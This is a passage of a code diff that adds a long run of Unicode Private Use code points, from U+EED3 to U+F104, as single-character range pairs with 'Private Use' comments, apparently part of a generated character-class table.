+ ["\uEED3", "\uEED3"], /* Private Use */
+ ["\uEED4", "\uEED4"], /* Private Use */
+ ["\uEED5", "\uEED5"], /* Private Use */
+ ["\uEED6", "\uEED6"], /* Private Use */
+ ["\uEED7", "\uEED7"], /* Private Use */
+ ["\uEED8", "\uEED8"], /* Private Use */
+ ["\uEED9", "\uEED9"], /* Private Use */
+ ["\uEEDA", "\uEEDA"], /* Private Use */
+ ["\uEEDB", "\uEEDB"], /* Private Use */
+ ["\uEEDC", "\uEEDC"], /* Private Use */
+ ["\uEEDD", "\uEEDD"], /* Private Use */
+ ["\uEEDE", "\uEEDE"], /* Private Use */
+ ["\uEEDF", "\uEEDF"], /* Private Use */
+ ["\uEEE0", "\uEEE0"], /* Private Use */
+ ["\uEEE1", "\uEEE1"], /* Private Use */
+ ["\uEEE2", "\uEEE2"], /* Private Use */
+ ["\uEEE3", "\uEEE3"], /* Private Use */
+ ["\uEEE4", "\uEEE4"], /* Private Use */
+ ["\uEEE5", "\uEEE5"], /* Private Use */
+ ["\uEEE6", "\uEEE6"], /* Private Use */
+ ["\uEEE7", "\uEEE7"], /* Private Use */
+ ["\uEEE8", "\uEEE8"], /* Private Use */
+ ["\uEEE9", "\uEEE9"], /* Private Use */
+ ["\uEEEA", "\uEEEA"], /* Private Use */
+ ["\uEEEB", "\uEEEB"], /* Private Use */
+ ["\uEEEC", "\uEEEC"], /* Private Use */
+ ["\uEEED", "\uEEED"], /* Private Use */
+ ["\uEEEE", "\uEEEE"], /* Private Use */
+ ["\uEEEF", "\uEEEF"], /* Private Use */
+ ["\uEEF0", "\uEEF0"], /* Private Use */
+ ["\uEEF1", "\uEEF1"], /* Private Use */
+ ["\uEEF2", "\uEEF2"], /* Private Use */
+ ["\uEEF3", "\uEEF3"], /* Private Use */
+ ["\uEEF4", "\uEEF4"], /* Private Use */
+ ["\uEEF5", "\uEEF5"], /* Private Use */
+ ["\uEEF6", "\uEEF6"], /* Private Use */
+ ["\uEEF7", "\uEEF7"], /* Private Use */
+ ["\uEEF8", "\uEEF8"], /* Private Use */
+ ["\uEEF9", "\uEEF9"], /* Private Use */
+ ["\uEEFA", "\uEEFA"], /* Private Use */
+ ["\uEEFB", "\uEEFB"], /* Private Use */
+ ["\uEEFC", "\uEEFC"], /* Private Use */
+ ["\uEEFD", "\uEEFD"], /* Private Use */
+ ["\uEEFE", "\uEEFE"], /* Private Use */
+ ["\uEEFF", "\uEEFF"], /* Private Use */
+ ["\uEF00", "\uEF00"], /* Private Use */
+ ["\uEF01", "\uEF01"], /* Private Use */
+ ["\uEF02", "\uEF02"], /* Private Use */
+ ["\uEF03", "\uEF03"], /* Private Use */
+ ["\uEF04", "\uEF04"], /* Private Use */
+ ["\uEF05", "\uEF05"], /* Private Use */
+ ["\uEF06", "\uEF06"], /* Private Use */
+ ["\uEF07", "\uEF07"], /* Private Use */
+ ["\uEF08", "\uEF08"], /* Private Use */
+ ["\uEF09", "\uEF09"], /* Private Use */
+ ["\uEF0A", "\uEF0A"], /* Private Use */
+ ["\uEF0B", "\uEF0B"], /* Private Use */
+ ["\uEF0C", "\uEF0C"], /* Private Use */
+ ["\uEF0D", "\uEF0D"], /* Private Use */
+ ["\uEF0E", "\uEF0E"], /* Private Use */
+ ["\uEF0F", "\uEF0F"], /* Private Use */
+ ["\uEF10", "\uEF10"], /* Private Use */
+ ["\uEF11", "\uEF11"], /* Private Use */
+ ["\uEF12", "\uEF12"], /* Private Use */
+ ["\uEF13", "\uEF13"], /* Private Use */
+ ["\uEF14", "\uEF14"], /* Private Use */
+ ["\uEF15", "\uEF15"], /* Private Use */
+ ["\uEF16", "\uEF16"], /* Private Use */
+ ["\uEF17", "\uEF17"], /* Private Use */
+ ["\uEF18", "\uEF18"], /* Private Use */
+ ["\uEF19", "\uEF19"], /* Private Use */
+ ["\uEF1A", "\uEF1A"], /* Private Use */
+ ["\uEF1B", "\uEF1B"], /* Private Use */
+ ["\uEF1C", "\uEF1C"], /* Private Use */
+ ["\uEF1D", "\uEF1D"], /* Private Use */
+ ["\uEF1E", "\uEF1E"], /* Private Use */
+ ["\uEF1F", "\uEF1F"], /* Private Use */
+ ["\uEF20", "\uEF20"], /* Private Use */
+ ["\uEF21", "\uEF21"], /* Private Use */
+ ["\uEF22", "\uEF22"], /* Private Use */
+ ["\uEF23", "\uEF23"], /* Private Use */
+ ["\uEF24", "\uEF24"], /* Private Use */
+ ["\uEF25", "\uEF25"], /* Private Use */
+ ["\uEF26", "\uEF26"], /* Private Use */
+ ["\uEF27", "\uEF27"], /* Private Use */
+ ["\uEF28", "\uEF28"], /* Private Use */
+ ["\uEF29", "\uEF29"], /* Private Use */
+ ["\uEF2A", "\uEF2A"], /* Private Use */
+ ["\uEF2B", "\uEF2B"], /* Private Use */
+ ["\uEF2C", "\uEF2C"], /* Private Use */
+ ["\uEF2D", "\uEF2D"], /* Private Use */
+ ["\uEF2E", "\uEF2E"], /* Private Use */
+ ["\uEF2F", "\uEF2F"], /* Private Use */
+ ["\uEF30", "\uEF30"], /* Private Use */
+ ["\uEF31", "\uEF31"], /* Private Use */
+ ["\uEF32", "\uEF32"], /* Private Use */
+ ["\uEF33", "\uEF33"], /* Private Use */
+ ["\uEF34", "\uEF34"], /* Private Use */
+ ["\uEF35", "\uEF35"], /* Private Use */
+ ["\uEF36", "\uEF36"], /* Private Use */
+ ["\uEF37", "\uEF37"], /* Private Use */
+ ["\uEF38", "\uEF38"], /* Private Use */
+ ["\uEF39", "\uEF39"], /* Private Use */
+ ["\uEF3A", "\uEF3A"], /* Private Use */
+ ["\uEF3B", "\uEF3B"], /* Private Use */
+ ["\uEF3C", "\uEF3C"], /* Private Use */
+ ["\uEF3D", "\uEF3D"], /* Private Use */
+ ["\uEF3E", "\uEF3E"], /* Private Use */
+ ["\uEF3F", "\uEF3F"], /* Private Use */
+ ["\uEF40", "\uEF40"], /* Private Use */
+ ["\uEF41", "\uEF41"], /* Private Use */
+ ["\uEF42", "\uEF42"], /* Private Use */
+ ["\uEF43", "\uEF43"], /* Private Use */
+ ["\uEF44", "\uEF44"], /* Private Use */
+ ["\uEF45", "\uEF45"], /* Private Use */
+ ["\uEF46", "\uEF46"], /* Private Use */
+ ["\uEF47", "\uEF47"], /* Private Use */
+ ["\uEF48", "\uEF48"], /* Private Use */
+ ["\uEF49", "\uEF49"], /* Private Use */
+ ["\uEF4A", "\uEF4A"], /* Private Use */
+ ["\uEF4B", "\uEF4B"], /* Private Use */
+ ["\uEF4C", "\uEF4C"], /* Private Use */
+ ["\uEF4D", "\uEF4D"], /* Private Use */
+ ["\uEF4E", "\uEF4E"], /* Private Use */
+ ["\uEF4F", "\uEF4F"], /* Private Use */
+ ["\uEF50", "\uEF50"], /* Private Use */
+ ["\uEF51", "\uEF51"], /* Private Use */
+ ["\uEF52", "\uEF52"], /* Private Use */
+ ["\uEF53", "\uEF53"], /* Private Use */
+ ["\uEF54", "\uEF54"], /* Private Use */
+ ["\uEF55", "\uEF55"], /* Private Use */
+ ["\uEF56", "\uEF56"], /* Private Use */
+ ["\uEF57", "\uEF57"], /* Private Use */
+ ["\uEF58", "\uEF58"], /* Private Use */
+ ["\uEF59", "\uEF59"], /* Private Use */
+ ["\uEF5A", "\uEF5A"], /* Private Use */
+ ["\uEF5B", "\uEF5B"], /* Private Use */
+ ["\uEF5C", "\uEF5C"], /* Private Use */
+ ["\uEF5D", "\uEF5D"], /* Private Use */
+ ["\uEF5E", "\uEF5E"], /* Private Use */
+ ["\uEF5F", "\uEF5F"], /* Private Use */
+ ["\uEF60", "\uEF60"], /* Private Use */
+ ["\uEF61", "\uEF61"], /* Private Use */
+ ["\uEF62", "\uEF62"], /* Private Use */
+ ["\uEF63", "\uEF63"], /* Private Use */
+ ["\uEF64", "\uEF64"], /* Private Use */
+ ["\uEF65", "\uEF65"], /* Private Use */
+ ["\uEF66", "\uEF66"], /* Private Use */
+ ["\uEF67", "\uEF67"], /* Private Use */
+ ["\uEF68", "\uEF68"], /* Private Use */
+ ["\uEF69", "\uEF69"], /* Private Use */
+ ["\uEF6A", "\uEF6A"], /* Private Use */
+ ["\uEF6B", "\uEF6B"], /* Private Use */
+ ["\uEF6C", "\uEF6C"], /* Private Use */
+ ["\uEF6D", "\uEF6D"], /* Private Use */
+ ["\uEF6E", "\uEF6E"], /* Private Use */
+ ["\uEF6F", "\uEF6F"], /* Private Use */
+ ["\uEF70", "\uEF70"], /* Private Use */
+ ["\uEF71", "\uEF71"], /* Private Use */
+ ["\uEF72", "\uEF72"], /* Private Use */
+ ["\uEF73", "\uEF73"], /* Private Use */
+ ["\uEF74", "\uEF74"], /* Private Use */
+ ["\uEF75", "\uEF75"], /* Private Use */
+ ["\uEF76", "\uEF76"], /* Private Use */
+ ["\uEF77", "\uEF77"], /* Private Use */
+ ["\uEF78", "\uEF78"], /* Private Use */
+ ["\uEF79", "\uEF79"], /* Private Use */
+ ["\uEF7A", "\uEF7A"], /* Private Use */
+ ["\uEF7B", "\uEF7B"], /* Private Use */
+ ["\uEF7C", "\uEF7C"], /* Private Use */
+ ["\uEF7D", "\uEF7D"], /* Private Use */
+ ["\uEF7E", "\uEF7E"], /* Private Use */
+ ["\uEF7F", "\uEF7F"], /* Private Use */
+ ["\uEF80", "\uEF80"], /* Private Use */
+ ["\uEF81", "\uEF81"], /* Private Use */
+ ["\uEF82", "\uEF82"], /* Private Use */
+ ["\uEF83", "\uEF83"], /* Private Use */
+ ["\uEF84", "\uEF84"], /* Private Use */
+ ["\uEF85", "\uEF85"], /* Private Use */
+ ["\uEF86", "\uEF86"], /* Private Use */
+ ["\uEF87", "\uEF87"], /* Private Use */
+ ["\uEF88", "\uEF88"], /* Private Use */
+ ["\uEF89", "\uEF89"], /* Private Use */
+ ["\uEF8A", "\uEF8A"], /* Private Use */
+ ["\uEF8B", "\uEF8B"], /* Private Use */
+ ["\uEF8C", "\uEF8C"], /* Private Use */
+ ["\uEF8D", "\uEF8D"], /* Private Use */
+ ["\uEF8E", "\uEF8E"], /* Private Use */
+ ["\uEF8F", "\uEF8F"], /* Private Use */
+ ["\uEF90", "\uEF90"], /* Private Use */
+ ["\uEF91", "\uEF91"], /* Private Use */
+ ["\uEF92", "\uEF92"], /* Private Use */
+ ["\uEF93", "\uEF93"], /* Private Use */
+ ["\uEF94", "\uEF94"], /* Private Use */
+ ["\uEF95", "\uEF95"], /* Private Use */
+ ["\uEF96", "\uEF96"], /* Private Use */
+ ["\uEF97", "\uEF97"], /* Private Use */
+ ["\uEF98", "\uEF98"], /* Private Use */
+ ["\uEF99", "\uEF99"], /* Private Use */
+ ["\uEF9A", "\uEF9A"], /* Private Use */
+ ["\uEF9B", "\uEF9B"], /* Private Use */
+ ["\uEF9C", "\uEF9C"], /* Private Use */
+ ["\uEF9D", "\uEF9D"], /* Private Use */
+ ["\uEF9E", "\uEF9E"], /* Private Use */
+ ["\uEF9F", "\uEF9F"], /* Private Use */
+ ["\uEFA0", "\uEFA0"], /* Private Use */
+ ["\uEFA1", "\uEFA1"], /* Private Use */
+ ["\uEFA2", "\uEFA2"], /* Private Use */
+ ["\uEFA3", "\uEFA3"], /* Private Use */
+ ["\uEFA4", "\uEFA4"], /* Private Use */
+ ["\uEFA5", "\uEFA5"], /* Private Use */
+ ["\uEFA6", "\uEFA6"], /* Private Use */
+ ["\uEFA7", "\uEFA7"], /* Private Use */
+ ["\uEFA8", "\uEFA8"], /* Private Use */
+ ["\uEFA9", "\uEFA9"], /* Private Use */
+ ["\uEFAA", "\uEFAA"], /* Private Use */
+ ["\uEFAB", "\uEFAB"], /* Private Use */
+ ["\uEFAC", "\uEFAC"], /* Private Use */
+ ["\uEFAD", "\uEFAD"], /* Private Use */
+ ["\uEFAE", "\uEFAE"], /* Private Use */
+ ["\uEFAF", "\uEFAF"], /* Private Use */
+ ["\uEFB0", "\uEFB0"], /* Private Use */
+ ["\uEFB1", "\uEFB1"], /* Private Use */
+ ["\uEFB2", "\uEFB2"], /* Private Use */
+ ["\uEFB3", "\uEFB3"], /* Private Use */
+ ["\uEFB4", "\uEFB4"], /* Private Use */
+ ["\uEFB5", "\uEFB5"], /* Private Use */
+ ["\uEFB6", "\uEFB6"], /* Private Use */
+ ["\uEFB7", "\uEFB7"], /* Private Use */
+ ["\uEFB8", "\uEFB8"], /* Private Use */
+ ["\uEFB9", "\uEFB9"], /* Private Use */
+ ["\uEFBA", "\uEFBA"], /* Private Use */
+ ["\uEFBB", "\uEFBB"], /* Private Use */
+ ["\uEFBC", "\uEFBC"], /* Private Use */
+ ["\uEFBD", "\uEFBD"], /* Private Use */
+ ["\uEFBE", "\uEFBE"], /* Private Use */
+ ["\uEFBF", "\uEFBF"], /* Private Use */
+ ["\uEFC0", "\uEFC0"], /* Private Use */
+ ["\uEFC1", "\uEFC1"], /* Private Use */
+ ["\uEFC2", "\uEFC2"], /* Private Use */
+ ["\uEFC3", "\uEFC3"], /* Private Use */
+ ["\uEFC4", "\uEFC4"], /* Private Use */
+ ["\uEFC5", "\uEFC5"], /* Private Use */
+ ["\uEFC6", "\uEFC6"], /* Private Use */
+ ["\uEFC7", "\uEFC7"], /* Private Use */
+ ["\uEFC8", "\uEFC8"], /* Private Use */
+ ["\uEFC9", "\uEFC9"], /* Private Use */
+ ["\uEFCA", "\uEFCA"], /* Private Use */
+ ["\uEFCB", "\uEFCB"], /* Private Use */
+ ["\uEFCC", "\uEFCC"], /* Private Use */
+ ["\uEFCD", "\uEFCD"], /* Private Use */
+ ["\uEFCE", "\uEFCE"], /* Private Use */
+ ["\uEFCF", "\uEFCF"], /* Private Use */
+ ["\uEFD0", "\uEFD0"], /* Private Use */
+ ["\uEFD1", "\uEFD1"], /* Private Use */
+ ["\uEFD2", "\uEFD2"], /* Private Use */
+ ["\uEFD3", "\uEFD3"], /* Private Use */
+ ["\uEFD4", "\uEFD4"], /* Private Use */
+ ["\uEFD5", "\uEFD5"], /* Private Use */
+ ["\uEFD6", "\uEFD6"], /* Private Use */
+ ["\uEFD7", "\uEFD7"], /* Private Use */
+ ["\uEFD8", "\uEFD8"], /* Private Use */
+ ["\uEFD9", "\uEFD9"], /* Private Use */
+ ["\uEFDA", "\uEFDA"], /* Private Use */
+ ["\uEFDB", "\uEFDB"], /* Private Use */
+ ["\uEFDC", "\uEFDC"], /* Private Use */
+ ["\uEFDD", "\uEFDD"], /* Private Use */
+ ["\uEFDE", "\uEFDE"], /* Private Use */
+ ["\uEFDF", "\uEFDF"], /* Private Use */
+ ["\uEFE0", "\uEFE0"], /* Private Use */
+ ["\uEFE1", "\uEFE1"], /* Private Use */
+ ["\uEFE2", "\uEFE2"], /* Private Use */
+ ["\uEFE3", "\uEFE3"], /* Private Use */
+ ["\uEFE4", "\uEFE4"], /* Private Use */
+ ["\uEFE5", "\uEFE5"], /* Private Use */
+ ["\uEFE6", "\uEFE6"], /* Private Use */
+ ["\uEFE7", "\uEFE7"], /* Private Use */
+ ["\uEFE8", "\uEFE8"], /* Private Use */
+ ["\uEFE9", "\uEFE9"], /* Private Use */
+ ["\uEFEA", "\uEFEA"], /* Private Use */
+ ["\uEFEB", "\uEFEB"], /* Private Use */
+ ["\uEFEC", "\uEFEC"], /* Private Use */
+ ["\uEFED", "\uEFED"], /* Private Use */
+ ["\uEFEE", "\uEFEE"], /* Private Use */
+ ["\uEFEF", "\uEFEF"], /* Private Use */
+ ["\uEFF0", "\uEFF0"], /* Private Use */
+ ["\uEFF1", "\uEFF1"], /* Private Use */
+ ["\uEFF2", "\uEFF2"], /* Private Use */
+ ["\uEFF3", "\uEFF3"], /* Private Use */
+ ["\uEFF4", "\uEFF4"], /* Private Use */
+ ["\uEFF5", "\uEFF5"], /* Private Use */
+ ["\uEFF6", "\uEFF6"], /* Private Use */
+ ["\uEFF7", "\uEFF7"], /* Private Use */
+ ["\uEFF8", "\uEFF8"], /* Private Use */
+ ["\uEFF9", "\uEFF9"], /* Private Use */
+ ["\uEFFA", "\uEFFA"], /* Private Use */
+ ["\uEFFB", "\uEFFB"], /* Private Use */
+ ["\uEFFC", "\uEFFC"], /* Private Use */
+ ["\uEFFD", "\uEFFD"], /* Private Use */
+ ["\uEFFE", "\uEFFE"], /* Private Use */
+ ["\uEFFF", "\uEFFF"], /* Private Use */
+ ["\uF000", "\uF000"], /* Private Use */
+ ["\uF001", "\uF001"], /* Private Use */
+ ["\uF002", "\uF002"], /* Private Use */
+ ["\uF003", "\uF003"], /* Private Use */
+ ["\uF004", "\uF004"], /* Private Use */
+ ["\uF005", "\uF005"], /* Private Use */
+ ["\uF006", "\uF006"], /* Private Use */
+ ["\uF007", "\uF007"], /* Private Use */
+ ["\uF008", "\uF008"], /* Private Use */
+ ["\uF009", "\uF009"], /* Private Use */
+ ["\uF00A", "\uF00A"], /* Private Use */
+ ["\uF00B", "\uF00B"], /* Private Use */
+ ["\uF00C", "\uF00C"], /* Private Use */
+ ["\uF00D", "\uF00D"], /* Private Use */
+ ["\uF00E", "\uF00E"], /* Private Use */
+ ["\uF00F", "\uF00F"], /* Private Use */
+ ["\uF010", "\uF010"], /* Private Use */
+ ["\uF011", "\uF011"], /* Private Use */
+ ["\uF012", "\uF012"], /* Private Use */
+ ["\uF013", "\uF013"], /* Private Use */
+ ["\uF014", "\uF014"], /* Private Use */
+ ["\uF015", "\uF015"], /* Private Use */
+ ["\uF016", "\uF016"], /* Private Use */
+ ["\uF017", "\uF017"], /* Private Use */
+ ["\uF018", "\uF018"], /* Private Use */
+ ["\uF019", "\uF019"], /* Private Use */
+ ["\uF01A", "\uF01A"], /* Private Use */
+ ["\uF01B", "\uF01B"], /* Private Use */
+ ["\uF01C", "\uF01C"], /* Private Use */
+ ["\uF01D", "\uF01D"], /* Private Use */
+ ["\uF01E", "\uF01E"], /* Private Use */
+ ["\uF01F", "\uF01F"], /* Private Use */
+ ["\uF020", "\uF020"], /* Private Use */
+ ["\uF021", "\uF021"], /* Private Use */
+ ["\uF022", "\uF022"], /* Private Use */
+ ["\uF023", "\uF023"], /* Private Use */
+ ["\uF024", "\uF024"], /* Private Use */
+ ["\uF025", "\uF025"], /* Private Use */
+ ["\uF026", "\uF026"], /* Private Use */
+ ["\uF027", "\uF027"], /* Private Use */
+ ["\uF028", "\uF028"], /* Private Use */
+ ["\uF029", "\uF029"], /* Private Use */
+ ["\uF02A", "\uF02A"], /* Private Use */
+ ["\uF02B", "\uF02B"], /* Private Use */
+ ["\uF02C", "\uF02C"], /* Private Use */
+ ["\uF02D", "\uF02D"], /* Private Use */
+ ["\uF02E", "\uF02E"], /* Private Use */
+ ["\uF02F", "\uF02F"], /* Private Use */
+ ["\uF030", "\uF030"], /* Private Use */
+ ["\uF031", "\uF031"], /* Private Use */
+ ["\uF032", "\uF032"], /* Private Use */
+ ["\uF033", "\uF033"], /* Private Use */
+ ["\uF034", "\uF034"], /* Private Use */
+ ["\uF035", "\uF035"], /* Private Use */
+ ["\uF036", "\uF036"], /* Private Use */
+ ["\uF037", "\uF037"], /* Private Use */
+ ["\uF038", "\uF038"], /* Private Use */
+ ["\uF039", "\uF039"], /* Private Use */
+ ["\uF03A", "\uF03A"], /* Private Use */
+ ["\uF03B", "\uF03B"], /* Private Use */
+ ["\uF03C", "\uF03C"], /* Private Use */
+ ["\uF03D", "\uF03D"], /* Private Use */
+ ["\uF03E", "\uF03E"], /* Private Use */
+ ["\uF03F", "\uF03F"], /* Private Use */
+ ["\uF040", "\uF040"], /* Private Use */
+ ["\uF041", "\uF041"], /* Private Use */
+ ["\uF042", "\uF042"], /* Private Use */
+ ["\uF043", "\uF043"], /* Private Use */
+ ["\uF044", "\uF044"], /* Private Use */
+ ["\uF045", "\uF045"], /* Private Use */
+ ["\uF046", "\uF046"], /* Private Use */
+ ["\uF047", "\uF047"], /* Private Use */
+ ["\uF048", "\uF048"], /* Private Use */
+ ["\uF049", "\uF049"], /* Private Use */
+ ["\uF04A", "\uF04A"], /* Private Use */
+ ["\uF04B", "\uF04B"], /* Private Use */
+ ["\uF04C", "\uF04C"], /* Private Use */
+ ["\uF04D", "\uF04D"], /* Private Use */
+ ["\uF04E", "\uF04E"], /* Private Use */
+ ["\uF04F", "\uF04F"], /* Private Use */
+ ["\uF050", "\uF050"], /* Private Use */
+ ["\uF051", "\uF051"], /* Private Use */
+ ["\uF052", "\uF052"], /* Private Use */
+ ["\uF053", "\uF053"], /* Private Use */
+ ["\uF054", "\uF054"], /* Private Use */
+ ["\uF055", "\uF055"], /* Private Use */
+ ["\uF056", "\uF056"], /* Private Use */
+ ["\uF057", "\uF057"], /* Private Use */
+ ["\uF058", "\uF058"], /* Private Use */
+ ["\uF059", "\uF059"], /* Private Use */
+ ["\uF05A", "\uF05A"], /* Private Use */
+ ["\uF05B", "\uF05B"], /* Private Use */
+ ["\uF05C", "\uF05C"], /* Private Use */
+ ["\uF05D", "\uF05D"], /* Private Use */
+ ["\uF05E", "\uF05E"], /* Private Use */
+ ["\uF05F", "\uF05F"], /* Private Use */
+ ["\uF060", "\uF060"], /* Private Use */
+ ["\uF061", "\uF061"], /* Private Use */
+ ["\uF062", "\uF062"], /* Private Use */
+ ["\uF063", "\uF063"], /* Private Use */
+ ["\uF064", "\uF064"], /* Private Use */
+ ["\uF065", "\uF065"], /* Private Use */
+ ["\uF066", "\uF066"], /* Private Use */
+ ["\uF067", "\uF067"], /* Private Use */
+ ["\uF068", "\uF068"], /* Private Use */
+ ["\uF069", "\uF069"], /* Private Use */
+ ["\uF06A", "\uF06A"], /* Private Use */
+ ["\uF06B", "\uF06B"], /* Private Use */
+ ["\uF06C", "\uF06C"], /* Private Use */
+ ["\uF06D", "\uF06D"], /* Private Use */
+ ["\uF06E", "\uF06E"], /* Private Use */
+ ["\uF06F", "\uF06F"], /* Private Use */
+ ["\uF070", "\uF070"], /* Private Use */
+ ["\uF071", "\uF071"], /* Private Use */
+ ["\uF072", "\uF072"], /* Private Use */
+ ["\uF073", "\uF073"], /* Private Use */
+ ["\uF074", "\uF074"], /* Private Use */
+ ["\uF075", "\uF075"], /* Private Use */
+ ["\uF076", "\uF076"], /* Private Use */
+ ["\uF077", "\uF077"], /* Private Use */
+ ["\uF078", "\uF078"], /* Private Use */
+ ["\uF079", "\uF079"], /* Private Use */
+ ["\uF07A", "\uF07A"], /* Private Use */
+ ["\uF07B", "\uF07B"], /* Private Use */
+ ["\uF07C", "\uF07C"], /* Private Use */
+ ["\uF07D", "\uF07D"], /* Private Use */
+ ["\uF07E", "\uF07E"], /* Private Use */
+ ["\uF07F", "\uF07F"], /* Private Use */
+ ["\uF080", "\uF080"], /* Private Use */
+ ["\uF081", "\uF081"], /* Private Use */
+ ["\uF082", "\uF082"], /* Private Use */
+ ["\uF083", "\uF083"], /* Private Use */
+ ["\uF084", "\uF084"], /* Private Use */
+ ["\uF085", "\uF085"], /* Private Use */
+ ["\uF086", "\uF086"], /* Private Use */
+ ["\uF087", "\uF087"], /* Private Use */
+ ["\uF088", "\uF088"], /* Private Use */
+ ["\uF089", "\uF089"], /* Private Use */
+ ["\uF08A", "\uF08A"], /* Private Use */
+ ["\uF08B", "\uF08B"], /* Private Use */
+ ["\uF08C", "\uF08C"], /* Private Use */
+ ["\uF08D", "\uF08D"], /* Private Use */
+ ["\uF08E", "\uF08E"], /* Private Use */
+ ["\uF08F", "\uF08F"], /* Private Use */
+ ["\uF090", "\uF090"], /* Private Use */
+ ["\uF091", "\uF091"], /* Private Use */
+ ["\uF092", "\uF092"], /* Private Use */
+ ["\uF093", "\uF093"], /* Private Use */
+ ["\uF094", "\uF094"], /* Private Use */
+ ["\uF095", "\uF095"], /* Private Use */
+ ["\uF096", "\uF096"], /* Private Use */
+ ["\uF097", "\uF097"], /* Private Use */
+ ["\uF098", "\uF098"], /* Private Use */
+ ["\uF099", "\uF099"], /* Private Use */
+ ["\uF09A", "\uF09A"], /* Private Use */
+ ["\uF09B", "\uF09B"], /* Private Use */
+ ["\uF09C", "\uF09C"], /* Private Use */
+ ["\uF09D", "\uF09D"], /* Private Use */
+ ["\uF09E", "\uF09E"], /* Private Use */
+ ["\uF09F", "\uF09F"], /* Private Use */
+ ["\uF0A0", "\uF0A0"], /* Private Use */
+ ["\uF0A1", "\uF0A1"], /* Private Use */
+ ["\uF0A2", "\uF0A2"], /* Private Use */
+ ["\uF0A3", "\uF0A3"], /* Private Use */
+ ["\uF0A4", "\uF0A4"], /* Private Use */
+ ["\uF0A5", "\uF0A5"], /* Private Use */
+ ["\uF0A6", "\uF0A6"], /* Private Use */
+ ["\uF0A7", "\uF0A7"], /* Private Use */
+ ["\uF0A8", "\uF0A8"], /* Private Use */
+ ["\uF0A9", "\uF0A9"], /* Private Use */
+ ["\uF0AA", "\uF0AA"], /* Private Use */
+ ["\uF0AB", "\uF0AB"], /* Private Use */
+ ["\uF0AC", "\uF0AC"], /* Private Use */
+ ["\uF0AD", "\uF0AD"], /* Private Use */
+ ["\uF0AE", "\uF0AE"], /* Private Use */
+ ["\uF0AF", "\uF0AF"], /* Private Use */
+ ["\uF0B0", "\uF0B0"], /* Private Use */
+ ["\uF0B1", "\uF0B1"], /* Private Use */
+ ["\uF0B2", "\uF0B2"], /* Private Use */
+ ["\uF0B3", "\uF0B3"], /* Private Use */
+ ["\uF0B4", "\uF0B4"], /* Private Use */
+ ["\uF0B5", "\uF0B5"], /* Private Use */
+ ["\uF0B6", "\uF0B6"], /* Private Use */
+ ["\uF0B7", "\uF0B7"], /* Private Use */
+ ["\uF0B8", "\uF0B8"], /* Private Use */
+ ["\uF0B9", "\uF0B9"], /* Private Use */
+ ["\uF0BA", "\uF0BA"], /* Private Use */
+ ["\uF0BB", "\uF0BB"], /* Private Use */
+ ["\uF0BC", "\uF0BC"], /* Private Use */
+ ["\uF0BD", "\uF0BD"], /* Private Use */
+ ["\uF0BE", "\uF0BE"], /* Private Use */
+ ["\uF0BF", "\uF0BF"], /* Private Use */
+ ["\uF0C0", "\uF0C0"], /* Private Use */
+ ["\uF0C1", "\uF0C1"], /* Private Use */
+ ["\uF0C2", "\uF0C2"], /* Private Use */
+ ["\uF0C3", "\uF0C3"], /* Private Use */
+ ["\uF0C4", "\uF0C4"], /* Private Use */
+ ["\uF0C5", "\uF0C5"], /* Private Use */
+ ["\uF0C6", "\uF0C6"], /* Private Use */
+ ["\uF0C7", "\uF0C7"], /* Private Use */
+ ["\uF0C8", "\uF0C8"], /* Private Use */
+ ["\uF0C9", "\uF0C9"], /* Private Use */
+ ["\uF0CA", "\uF0CA"], /* Private Use */
+ ["\uF0CB", "\uF0CB"], /* Private Use */
+ ["\uF0CC", "\uF0CC"], /* Private Use */
+ ["\uF0CD", "\uF0CD"], /* Private Use */
+ ["\uF0CE", "\uF0CE"], /* Private Use */
+ ["\uF0CF", "\uF0CF"], /* Private Use */
+ ["\uF0D0", "\uF0D0"], /* Private Use */
+ ["\uF0D1", "\uF0D1"], /* Private Use */
+ ["\uF0D2", "\uF0D2"], /* Private Use */
+ ["\uF0D3", "\uF0D3"], /* Private Use */
+ ["\uF0D4", "\uF0D4"], /* Private Use */
+ ["\uF0D5", "\uF0D5"], /* Private Use */
+ ["\uF0D6", "\uF0D6"], /* Private Use */
+ ["\uF0D7", "\uF0D7"], /* Private Use */
+ ["\uF0D8", "\uF0D8"], /* Private Use */
+ ["\uF0D9", "\uF0D9"], /* Private Use */
+ ["\uF0DA", "\uF0DA"], /* Private Use */
+ ["\uF0DB", "\uF0DB"], /* Private Use */
+ ["\uF0DC", "\uF0DC"], /* Private Use */
+ ["\uF0DD", "\uF0DD"], /* Private Use */
+ ["\uF0DE", "\uF0DE"], /* Private Use */
+ ["\uF0DF", "\uF0DF"], /* Private Use */
+ ["\uF0E0", "\uF0E0"], /* Private Use */
+ ["\uF0E1", "\uF0E1"], /* Private Use */
+ ["\uF0E2", "\uF0E2"], /* Private Use */
+ ["\uF0E3", "\uF0E3"], /* Private Use */
+ ["\uF0E4", "\uF0E4"], /* Private Use */
+ ["\uF0E5", "\uF0E5"], /* Private Use */
+ ["\uF0E6", "\uF0E6"], /* Private Use */
+ ["\uF0E7", "\uF0E7"], /* Private Use */
+ ["\uF0E8", "\uF0E8"], /* Private Use */
+ ["\uF0E9", "\uF0E9"], /* Private Use */
+ ["\uF0EA", "\uF0EA"], /* Private Use */
+ ["\uF0EB", "\uF0EB"], /* Private Use */
+ ["\uF0EC", "\uF0EC"], /* Private Use */
+ ["\uF0ED", "\uF0ED"], /* Private Use */
+ ["\uF0EE", "\uF0EE"], /* Private Use */
+ ["\uF0EF", "\uF0EF"], /* Private Use */
+ ["\uF0F0", "\uF0F0"], /* Private Use */
+ ["\uF0F1", "\uF0F1"], /* Private Use */
+ ["\uF0F2", "\uF0F2"], /* Private Use */
+ ["\uF0F3", "\uF0F3"], /* Private Use */
+ ["\uF0F4", "\uF0F4"], /* Private Use */
+ ["\uF0F5", "\uF0F5"], /* Private Use */
+ ["\uF0F6", "\uF0F6"], /* Private Use */
+ ["\uF0F7", "\uF0F7"], /* Private Use */
+ ["\uF0F8", "\uF0F8"], /* Private Use */
+ ["\uF0F9", "\uF0F9"], /* Private Use */
+ ["\uF0FA", "\uF0FA"], /* Private Use */
+ ["\uF0FB", "\uF0FB"], /* Private Use */
+ ["\uF0FC", "\uF0FC"], /* Private Use */
+ ["\uF0FD", "\uF0FD"], /* Private Use */
+ ["\uF0FE", "\uF0FE"], /* Private Use */
+ ["\uF0FF", "\uF0FF"], /* Private Use */
+ ["\uF100", "\uF100"], /* Private Use */
+ ["\uF101", "\uF101"], /* Private Use */
+ ["\uF102", "\uF102"], /* Private Use */
+ ["\uF103", "\uF103"], /* Private Use */
+ ["\uF104", "\uF104"], /* Private Use */
